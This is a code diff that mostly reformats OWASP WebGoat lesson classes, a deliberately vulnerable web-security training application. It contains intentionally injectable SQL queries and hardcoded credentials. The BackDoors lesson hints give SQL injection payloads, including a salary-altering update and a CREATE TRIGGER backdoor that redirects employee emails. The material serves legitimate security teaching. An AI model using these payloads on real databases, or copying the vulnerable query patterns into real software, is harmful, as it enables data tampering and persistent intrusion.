return (sb.toString()); return (sb.toString());
} }
/** /**
* Will this screen be included in an enterprise edition. * Will this screen be included in an enterprise edition.
* *
@ -351,10 +329,11 @@ public abstract class AbstractLesson extends Screen implements Comparable
return false; return false;
} }
/** /**
* Gets the hintCount attribute of the Lesson object * Gets the hintCount attribute of the Lesson object
* @param s The user's WebSession *
* @param s
* The user's WebSession
* *
* @return The hintCount value * @return The hintCount value
*/ */
@ -363,14 +342,14 @@ public abstract class AbstractLesson extends Screen implements Comparable
return getHints(s).size(); return getHints(s).size();
} }
protected abstract List<String> getHints(WebSession s); protected abstract List<String> getHints(WebSession s);
/** /**
* Fill in a minor hint that will help people who basically get it, but * Fill in a minor hint that will help people who basically get it, but are stuck on somthing
* are stuck on somthing silly. * silly.
* @param s The users WebSession *
* @param s
* The users WebSession
* *
* @return The hint1 value * @return The hint1 value
*/ */
@ -379,7 +358,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return getHints(s).get(hintNumber); return getHints(s).get(hintNumber);
} }
/** /**
* Gets the instructions attribute of the AbstractLesson object * Gets the instructions attribute of the AbstractLesson object
* *
@ -387,7 +365,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
*/ */
public abstract String getInstructions(WebSession s); public abstract String getInstructions(WebSession s);
/** /**
* Gets the lessonPlan attribute of the Lesson object * Gets the lessonPlan attribute of the Lesson object
* *
@ -399,7 +376,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return this.getClass().getName().substring(index + "lessons.".length()); return this.getClass().getName().substring(index + "lessons.".length());
} }
/** /**
* Gets the title attribute of the HelloScreen object * Gets the title attribute of the HelloScreen object
* *
@ -407,7 +383,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
*/ */
public abstract String getTitle(); public abstract String getTitle();
/** /**
* Gets the content of lessonPlanURL * Gets the content of lessonPlanURL
* *
@ -424,11 +399,9 @@ public abstract class AbstractLesson extends Screen implements Comparable
{ {
// System.out.println("Loading lesson plan file: " + // System.out.println("Loading lesson plan file: " +
// getLessonPlanFileName()); // getLessonPlanFileName());
src = readFromFile(new BufferedReader(new FileReader(s src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonPlanFileName()))), false);
.getWebResource(getLessonPlanFileName()))), false);
} } catch (Exception e)
catch (Exception e)
{ {
// s.setMessage( "Could not find lesson plan for " + // s.setMessage( "Could not find lesson plan for " +
// getLessonName()); // getLessonName());
@ -438,7 +411,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return src; return src;
} }
/** /**
* Gets the ranking attribute of the Lesson object * Gets the ranking attribute of the Lesson object
* *
@ -456,7 +428,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
} }
} }
/** /**
* Gets the hidden value of the Lesson Object * Gets the hidden value of the Lesson Object
* *
@ -467,7 +438,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return this.hidden; return this.hidden;
} }
/** /**
* Gets the role attribute of the AbstractLesson object * Gets the role attribute of the AbstractLesson object
* *
@ -487,7 +457,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return USER_ROLE; return USER_ROLE;
} }
/** /**
* Gets the uniqueID attribute of the AbstractLesson object * Gets the uniqueID attribute of the AbstractLesson object
* *
@ -498,7 +467,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return id.intValue(); return id.intValue();
} }
public String getHtml_DELETE_ME(WebSession s) public String getHtml_DELETE_ME(WebSession s)
{ {
String html = null; String html = null;
@ -508,15 +476,13 @@ public abstract class AbstractLesson extends Screen implements Comparable
String rawHtml = createContent(s).toString(); String rawHtml = createContent(s).toString();
// System.out.println("Getting raw html content: " + // System.out.println("Getting raw html content: " +
// rawHtml.substring(0, Math.min(rawHtml.length(), 100))); // rawHtml.substring(0, Math.min(rawHtml.length(), 100)));
html = convertMetachars(AbstractLesson.readFromFile(new BufferedReader( html = convertMetachars(AbstractLesson.readFromFile(new BufferedReader(new StringReader(rawHtml)), true));
new StringReader(rawHtml)), true));
// System.out.println("Getting encoded html content: " + // System.out.println("Getting encoded html content: " +
// html.substring(0, Math.min(html.length(), 100))); // html.substring(0, Math.min(html.length(), 100)));
return html; return html;
} }
public String getSource(WebSession s) public String getSource(WebSession s)
{ {
String source = null; String source = null;
@ -526,17 +492,15 @@ public abstract class AbstractLesson extends Screen implements Comparable
{ {
// System.out.println("Loading source file: " + // System.out.println("Loading source file: " +
// getSourceFileName()); // getSourceFileName());
src = convertMetacharsJavaCode(readFromFile(new BufferedReader( src = convertMetacharsJavaCode(readFromFile(new BufferedReader(new FileReader(s
new FileReader(s.getWebResource(getSourceFileName()))), .getWebResource(getSourceFileName()))), true));
true));
// TODO: For styled line numbers and better memory efficiency, // TODO: For styled line numbers and better memory efficiency,
// use a custom FilterReader // use a custom FilterReader
// that performs the convertMetacharsJavaCode() transform plus // that performs the convertMetacharsJavaCode() transform plus
// optionally adds a styled // optionally adds a styled
// line number. Wouldn't color syntax be great too? // line number. Wouldn't color syntax be great too?
} } catch (IOException e)
catch (IOException e)
{ {
s.setMessage("Could not find source file"); s.setMessage("Could not find source file");
src = ("Could not find source file"); src = ("Could not find source file");
@ -558,18 +522,14 @@ public abstract class AbstractLesson extends Screen implements Comparable
return source; return source;
} }
public String getSolution(WebSession s) public String getSolution(WebSession s)
{ {
String src = null; String src = null;
try try
{ {
src = readFromFile(new BufferedReader( src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName()))), false);
new FileReader(s.getWebResource(getLessonSolutionFileName()))), } catch (IOException e)
false);
}
catch (IOException e)
{ {
s.setMessage("Could not find the solution file"); s.setMessage("Could not find the solution file");
src = ("Could not find the solution file"); src = ("Could not find the solution file");
@ -589,7 +549,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return src; return src;
} }
/** /**
* Get the link that can be used to request this screen. * Get the link that can be used to request this screen.
* *
@ -610,7 +569,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return link.toString(); return link.toString();
} }
/** /**
* Get the link to the jsp page used to render this screen. * Get the link to the jsp page used to render this screen.
* *
@ -621,7 +579,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return null; return null;
} }
/** /**
* Get the link to the jsp template page used to render this screen. * Get the link to the jsp template page used to render this screen.
* *
@ -632,10 +589,8 @@ public abstract class AbstractLesson extends Screen implements Comparable
return null; return null;
} }
public abstract String getCurrentAction(WebSession s); public abstract String getCurrentAction(WebSession s);
public abstract void setCurrentAction(WebSession s, String lessonScreen); public abstract void setCurrentAction(WebSession s, String lessonScreen);
/** /**
@ -650,7 +605,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return false; return false;
} }
/** /**
* Override this method to implement accesss control in a lesson. * Override this method to implement accesss control in a lesson.
* *
@ -663,23 +617,19 @@ public abstract class AbstractLesson extends Screen implements Comparable
boolean authorized = false; boolean authorized = false;
try try
{ {
String query = "SELECT * FROM auth WHERE role = '" + role String query = "SELECT * FROM auth WHERE role = '" + role + "' and functionid = '" + functionId + "'";
+ "' and functionid = '" + functionId + "'";
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
authorized = answer_results.first(); authorized = answer_results.first();
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error authorizing"); s.setMessage("Error authorizing");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error authorizing"); s.setMessage("Error authorizing");
e.printStackTrace(); e.printStackTrace();
@ -687,13 +637,11 @@ public abstract class AbstractLesson extends Screen implements Comparable
return authorized; return authorized;
} }
public int getUserId(WebSession s) throws ParameterNotFoundException public int getUserId(WebSession s) throws ParameterNotFoundException
{ {
return -1; return -1;
} }
public String getUserName(WebSession s) throws ParameterNotFoundException public String getUserName(WebSession s) throws ParameterNotFoundException
{ {
return null; return null;
@ -728,13 +676,11 @@ public abstract class AbstractLesson extends Screen implements Comparable
script.append(" params += \"height=350\";\n"); script.append(" params += \"height=350\";\n");
script.append("\n"); script.append("\n");
script.append(" // close the window to vary the window size\n"); script.append(" // close the window to vary the window size\n");
script script.append(" if (typeof(win) == \"object\" && !win.closed){\n");
.append(" if (typeof(win) == \"object\" && !win.closed){\n");
script.append(" win.close();\n"); script.append(" win.close();\n");
script.append(" }\n"); script.append(" }\n");
script.append("\n"); script.append("\n");
script.append(" win = window.open(url, '" + windowName script.append(" win = window.open(url, '" + windowName + "' , params);\n");
+ "' , params);\n");
script.append("\n"); script.append("\n");
script.append(" // bring the window to the front\n"); script.append(" // bring the window to the front\n");
script.append(" win.focus();\n"); script.append(" win.focus();\n");
@ -745,10 +691,9 @@ public abstract class AbstractLesson extends Screen implements Comparable
return script.toString(); return script.toString();
} }
/** /**
* Simply reads a url into an Element for display. CAUTION: you might * Simply reads a url into an Element for display. CAUTION: you might want to tinker with any
* want to tinker with any non-https links (href) * non-https links (href)
* *
* @param url * @param url
* Description of the Parameter * Description of the Parameter
@ -762,8 +707,7 @@ public abstract class AbstractLesson extends Screen implements Comparable
{ {
URL u = new URL(url); URL u = new URL(url);
HttpURLConnection huc = (HttpURLConnection) u.openConnection(); HttpURLConnection huc = (HttpURLConnection) u.openConnection();
BufferedReader reader = new BufferedReader(new InputStreamReader( BufferedReader reader = new BufferedReader(new InputStreamReader(huc.getInputStream()));
huc.getInputStream()));
String line; String line;
while ((line = reader.readLine()) != null) while ((line = reader.readLine()) != null)
@ -772,8 +716,7 @@ public abstract class AbstractLesson extends Screen implements Comparable
} }
reader.close(); reader.close();
} } catch (Exception e)
catch (Exception e)
{ {
System.out.println(e); System.out.println(e);
e.printStackTrace(); e.printStackTrace();
@ -782,7 +725,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return (ec); return (ec);
} }
/** /**
* Description of the Method * Description of the Method
* *
@ -794,16 +736,13 @@ public abstract class AbstractLesson extends Screen implements Comparable
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
public static Element readMethodFromFile(BufferedReader reader, public static Element readMethodFromFile(BufferedReader reader, String methodName, boolean numbers)
String methodName, boolean numbers)
{ {
PRE pre = new PRE().addElement(getFileMethod(reader, methodName, PRE pre = new PRE().addElement(getFileMethod(reader, methodName, numbers));
numbers));
return (pre); return (pre);
} }
/** /**
* Description of the Method * Description of the Method
* *
@ -814,21 +753,18 @@ public abstract class AbstractLesson extends Screen implements Comparable
{ {
// call createContent first so messages will go somewhere // call createContent first so messages will go somewhere
Form form = new Form(getFormAction(), Form.POST).setName("form") Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType("");
.setEncType("");
form.addElement(createContent(s)); form.addElement(createContent(s));
setContent(form); setContent(form);
} }
public String getFormAction() public String getFormAction()
{ {
return getLink(); return getLink();
} }
/** /**
* Description of the Method * Description of the Method
* *
@ -842,13 +778,11 @@ public abstract class AbstractLesson extends Screen implements Comparable
return getTitle(); return getTitle();
} }
public String getLessonPlanFileName() public String getLessonPlanFileName()
{ {
return lessonPlanFileName; return lessonPlanFileName;
} }
public void setLessonPlanFileName(String lessonPlanFileName) public void setLessonPlanFileName(String lessonPlanFileName)
{ {
this.lessonPlanFileName = lessonPlanFileName; this.lessonPlanFileName = lessonPlanFileName;
@ -859,7 +793,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return lessonSolutionFileName; return lessonSolutionFileName;
} }
public void setLessonSolutionFileName(String lessonSolutionFileName) public void setLessonSolutionFileName(String lessonSolutionFileName)
{ {
this.lessonSolutionFileName = lessonSolutionFileName; this.lessonSolutionFileName = lessonSolutionFileName;
@ -870,7 +803,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return sourceFileName; return sourceFileName;
} }
public void setSourceFileName(String sourceFileName) public void setSourceFileName(String sourceFileName)
{ {
// System.out.println("Setting source file of lesson " + this + " to: " // System.out.println("Setting source file of lesson " + this + " to: "
@ -878,13 +810,13 @@ public abstract class AbstractLesson extends Screen implements Comparable
this.sourceFileName = sourceFileName; this.sourceFileName = sourceFileName;
} }
public WebgoatContext getWebgoatContext()
public WebgoatContext getWebgoatContext() { {
return webgoatContext; return webgoatContext;
} }
public void setWebgoatContext(WebgoatContext webgoatContext)
public void setWebgoatContext(WebgoatContext webgoatContext) { {
this.webgoatContext = webgoatContext; this.webgoatContext = webgoatContext;
} }
} }

84
main/project/JavaSource/org/owasp/webgoat/lessons/AccessControlMatrix.java
View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A; import org.apache.ecs.html.A;
@ -13,32 +13,31 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -48,26 +47,27 @@ import org.owasp.webgoat.session.WebSession;
public class AccessControlMatrix extends LessonAdapter public class AccessControlMatrix extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
private final static String RESOURCE = "Resource"; private final static String RESOURCE = "Resource";
private final static String USER = "User"; private final static String USER = "User";
private final static String[] resources = { "Public Share", private final static String[] resources = { "Public Share", "Time Card Entry", "Performance Review",
"Time Card Entry", "Performance Review", "Time Card Approval", "Time Card Approval", "Site Manager", "Account Manager" };
"Site Manager", "Account Manager" };
private final static String[] roles = { "Public", "User", "Manager", private final static String[] roles = { "Public", "User", "Manager", "Admin" };
"Admin" };
private final static String[] users = { "Moe", "Larry", "Curly", "Shemp" }; private final static String[] users = { "Moe", "Larry", "Curly", "Shemp" };
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -80,8 +80,7 @@ public class AccessControlMatrix extends LessonAdapter
String resource = s.getParser().getRawParameter(RESOURCE, resources[0]); String resource = s.getParser().getRawParameter(RESOURCE, resources[0]);
String credentials = getRoles(user).toString(); String credentials = getRoles(user).toString();
Table t = new Table().setCellSpacing(0).setCellPadding(2) Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
.setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
@ -113,22 +112,18 @@ public class AccessControlMatrix extends LessonAdapter
if (isAllowed(user, resource)) if (isAllowed(user, resource))
{ {
if (!getRoles(user).contains("Admin") if (!getRoles(user).contains("Admin") && resource.equals("Account Manager"))
&& resource.equals("Account Manager"))
{ {
makeSuccess(s); makeSuccess(s);
} }
s.setMessage("User " + user + " " + credentials s.setMessage("User " + user + " " + credentials + " was allowed to access resource " + resource);
+ " was allowed to access resource " + resource);
} }
else else
{ {
s.setMessage("User " + user + " " + credentials s.setMessage("User " + user + " " + credentials + " did not have privilege to access resource "
+ " did not have privilege to access resource "
+ resource); + resource);
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -137,7 +132,6 @@ public class AccessControlMatrix extends LessonAdapter
return (ec); return (ec);
} }
/** /**
* Gets the category attribute of the RoleBasedAccessControl object * Gets the category attribute of the RoleBasedAccessControl object
* *
@ -149,7 +143,6 @@ public class AccessControlMatrix extends LessonAdapter
return Category.ACCESS_CONTROL; return Category.ACCESS_CONTROL;
} }
/** /**
* Gets the hints attribute of the RoleBasedAccessControl object * Gets the hints attribute of the RoleBasedAccessControl object
* *
@ -166,17 +159,16 @@ public class AccessControlMatrix extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(10); private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the resources attribute of the RoleBasedAccessControl object * Gets the resources attribute of the RoleBasedAccessControl object
* *
* @param rl Description of the Parameter * @param rl
* Description of the Parameter
* @return The resources value * @return The resources value
*/ */
private List getResources(List rl) private List getResources(List rl)
@ -210,11 +202,11 @@ public class AccessControlMatrix extends LessonAdapter
return list; return list;
} }
/** /**
* Gets the role attribute of the RoleBasedAccessControl object * Gets the role attribute of the RoleBasedAccessControl object
* *
* @param user Description of the Parameter * @param user
* Description of the Parameter
* @return The role value * @return The role value
*/ */
@ -244,7 +236,6 @@ public class AccessControlMatrix extends LessonAdapter
return list; return list;
} }
/** /**
* Gets the title attribute of the AccessControlScreen object * Gets the title attribute of the AccessControlScreen object
* *
@ -256,7 +247,6 @@ public class AccessControlMatrix extends LessonAdapter
return ("Using an Access Control Matrix"); return ("Using an Access Control Matrix");
} }
// private final static ArrayList userList = new ArrayList(Arrays.asList(users)); // private final static ArrayList userList = new ArrayList(Arrays.asList(users));
// private final static ArrayList resourceList = new ArrayList(Arrays.asList(resources)); // private final static ArrayList resourceList = new ArrayList(Arrays.asList(resources));
// private final static ArrayList roleList = new ArrayList(Arrays.asList(roles)); // private final static ArrayList roleList = new ArrayList(Arrays.asList(roles));
@ -265,8 +255,10 @@ public class AccessControlMatrix extends LessonAdapter
* Please do not ever implement an access control scheme this way! But it's not the worst I've * Please do not ever implement an access control scheme this way! But it's not the worst I've
* seen. * seen.
* *
* @param user Description of the Parameter * @param user
* @param resource Description of the Parameter * Description of the Parameter
* @param resource
* Description of the Parameter
* @return The allowed value * @return The allowed value
*/ */

56
main/project/JavaSource/org/owasp/webgoat/lessons/BackDoors.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.sql.Connection; import java.sql.Connection;
@ -6,7 +7,6 @@ import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -22,37 +22,35 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.DatabaseUtilities; import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian * @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a>
* Technologies.</a>
*/ */
public class BackDoors extends SequentialLessonAdapter public class BackDoors extends SequentialLessonAdapter
{ {
@ -63,8 +61,8 @@ public class BackDoors extends SequentialLessonAdapter
private final static String SELECT_ST = "select userid, password, ssn, salary, email from employee where userid="; private final static String SELECT_ST = "select userid, password, ssn, salary, email from employee where userid=";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); .setBorder(0).setHspace(0).setVspace(0);
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
@ -102,7 +100,8 @@ public class BackDoors extends SequentialLessonAdapter
statement.executeUpdate(arrSQL[1]); statement.executeUpdate(arrSQL[1]);
getLessonTracker(s).setStage(2); getLessonTracker(s).setStage(2);
s.setMessage("You have succeeded in exploiting the vulnerable query and created another SQL statement. Now move to stage 2 to learn how to create a backdoor or a DB worm"); s
.setMessage("You have succeeded in exploiting the vulnerable query and created another SQL statement. Now move to stage 2 to learn how to create a backdoor or a DB worm");
} }
ResultSet rs = statement.executeQuery(arrSQL[0]); ResultSet rs = statement.executeQuery(arrSQL[0]);
@ -129,8 +128,7 @@ public class BackDoors extends SequentialLessonAdapter
ec.addElement(t); ec.addElement(t);
} }
} }
} } catch (Exception ex)
catch (Exception ex)
{ {
ec.addElement(new PRE(ex.getMessage())); ec.addElement(new PRE(ex.getMessage()));
} }
@ -176,12 +174,10 @@ public class BackDoors extends SequentialLessonAdapter
+ " statements. The first is the system's while the second is totally yours."; + " statements. The first is the system's while the second is totally yours.";
instructions = instructions instructions = instructions
+ " Your account ID is 101. This page allows you to see your password, ssn and salary."; + " Your account ID is 101. This page allows you to see your password, ssn and salary.";
instructions = instructions instructions = instructions + " Try to inject another update to update salary to something higher";
+ " Try to inject another update to update salary to something higher";
break; break;
case 2: case 2:
instructions = "Stage " + getStage(s) instructions = "Stage " + getStage(s) + ": Use String SQL Injection to inject a backdoor. ";
+ ": Use String SQL Injection to inject a backdoor. ";
instructions = instructions instructions = instructions
+ " The second stage of this lesson is to teach you how to use a vulneable fields to inject the DB work or the backdoor."; + " The second stage of this lesson is to teach you how to use a vulneable fields to inject the DB work or the backdoor.";
instructions = instructions instructions = instructions
@ -248,8 +244,8 @@ public class BackDoors extends SequentialLessonAdapter
hints.add("Your user id is 101. Use it to see your information"); hints.add("Your user id is 101. Use it to see your information");
hints.add("A semi-colon usually ends a SQL statement and starts a new one."); hints.add("A semi-colon usually ends a SQL statement and starts a new one.");
hints.add("Try this 101 or 1=1; update employee set salary=100000"); hints.add("Try this 101 or 1=1; update employee set salary=100000");
hints.add("For stage 2, Try 101; CREATE TRIGGER myBackDoor BEFORE INSERT ON " + hints.add("For stage 2, Try 101; CREATE TRIGGER myBackDoor BEFORE INSERT ON "
"employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid"); + "employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid");
return hints; return hints;
} }

139
main/project/JavaSource/org/owasp/webgoat/lessons/BasicAuthentication.java
View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -14,32 +14,31 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -66,11 +65,11 @@ public class BasicAuthentication extends SequentialLessonAdapter
private final static String HEADER_VALUE = "value"; private final static String HEADER_VALUE = "value";
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -78,7 +77,6 @@ public class BasicAuthentication extends SequentialLessonAdapter
return super.createStagedContent(s); return super.createStagedContent(s);
} }
protected Element doStage1(WebSession s) throws Exception protected Element doStage1(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -87,42 +85,34 @@ public class BasicAuthentication extends SequentialLessonAdapter
String headerValue = null; String headerValue = null;
try try
{ {
headerName = new String(s.getParser().getStringParameter( headerName = new String(s.getParser().getStringParameter(HEADER_NAME, EMPTY_STRING));
HEADER_NAME, EMPTY_STRING)); headerValue = new String(s.getParser().getStringParameter(HEADER_VALUE, EMPTY_STRING));
headerValue = new String(s.getParser().getStringParameter(
HEADER_VALUE, EMPTY_STRING));
// <START_OMIT_SOURCE> // <START_OMIT_SOURCE>
// FIXME: This won;t work for CBT, we need to use the UserTracker // FIXME: This won;t work for CBT, we need to use the UserTracker
// Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= // Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
if (headerName.equalsIgnoreCase(AUTHORIZATION) if (headerName.equalsIgnoreCase(AUTHORIZATION)
&& (headerValue.equals("guest:guest") || headerValue && (headerValue.equals("guest:guest") || headerValue.equals("webgoat:webgoat")))
.equals("webgoat:webgoat")))
{ {
getLessonTracker(s).setStage(2); getLessonTracker(s).setStage(2);
return doStage2(s); return doStage2(s);
} }
else else
{ {
if (headerName.length() > 0 if (headerName.length() > 0 && !headerName.equalsIgnoreCase(AUTHORIZATION))
&& !headerName.equalsIgnoreCase(AUTHORIZATION))
{ {
s s.setMessage("Basic Authentication header name is incorrect.");
